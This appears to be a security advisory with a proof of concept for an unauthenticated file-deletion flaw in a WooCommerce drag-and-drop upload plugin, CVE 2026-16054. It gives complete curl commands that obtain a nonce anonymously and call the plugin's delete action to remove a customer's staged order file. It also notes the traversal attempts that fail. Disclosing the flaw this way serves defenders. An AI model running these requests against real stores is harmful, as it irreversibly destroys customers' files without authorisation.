Drag and Drop Multiple File Upload for WooCommerce < 1.1.8 – Unauthenticated File Deletion via Nonce Oracle | CVE 2026-16054

Description

The plugin does not prevent unauthenticated users from obtaining a valid nonce that is the only control gating its file-deletion routine, allowing anonymous attackers to delete files staged in its upload directory and irreversibly destroy customers' pending order attachments.

Proof of Concept

Prerequisites: WooCommerce and the plugin active. A file present in the plugin's staging directory tmp_uploads/ (created during a customer's checkout file-upload flow). Replace https://victim.example with the target.

# 1) Anonymous nonce oracle -> returns a valid 'dnd_wc_ajax_upload' nonce
NONCE=$(curl -sk -X POST "https://victim.example/wp-admin/admin-ajax.php" \
  -d "action=wc_upload_nonce" | sed -E 's/.*"data":"([^"]+)".*/\1/')
# => {"success":true,"data":"<nonce>"}

# 2) (Victim action) a customer stages an upload -> tmp_uploads/victim_order_design.jpg
#    via the plugin's normal WooCommerce checkout file-upload flow

# 3) Confirm the victim file is live on disk
curl -sk -o /dev/null -w "pre-delete: %{http_code}\n" \
  "https://victim.example/wp-content/uploads/wc_drag-n-drop_uploads/tmp_uploads/victim_order_design.jpg"   # 200

# 4) Anonymous attacker: request a fresh oracle nonce, then delete the victim's file
ANON=$(curl -sk -X POST "https://victim.example/wp-admin/admin-ajax.php" -d "action=wc_upload_nonce" | sed -E 's/.*"data":"([^"]+)".*/\1/')
curl -sk -X POST "https://victim.example/wp-admin/admin-ajax.php" \
  -d "action=dnd_codedropz_upload_delete_wc" -d "security=$ANON" -d "path=victim_order_design.jpg"
# => {"success":true,"data":"File Deleted!"}

# 5) The file is gone (irreversible)
curl -sk -o /dev/null -w "post-delete: %{http_code}\n" \
  "https://victim.example/wp-content/uploads/wc_drag-n-drop_uploads/tmp_uploads/victim_order_design.jpg"   # 404

Confinement (all rejected, files outside tmp_uploads/ survive): path=../../outside_target.jpg and absolute paths return "It's not a valid upload directory"; path=evil.php returns "File not safe".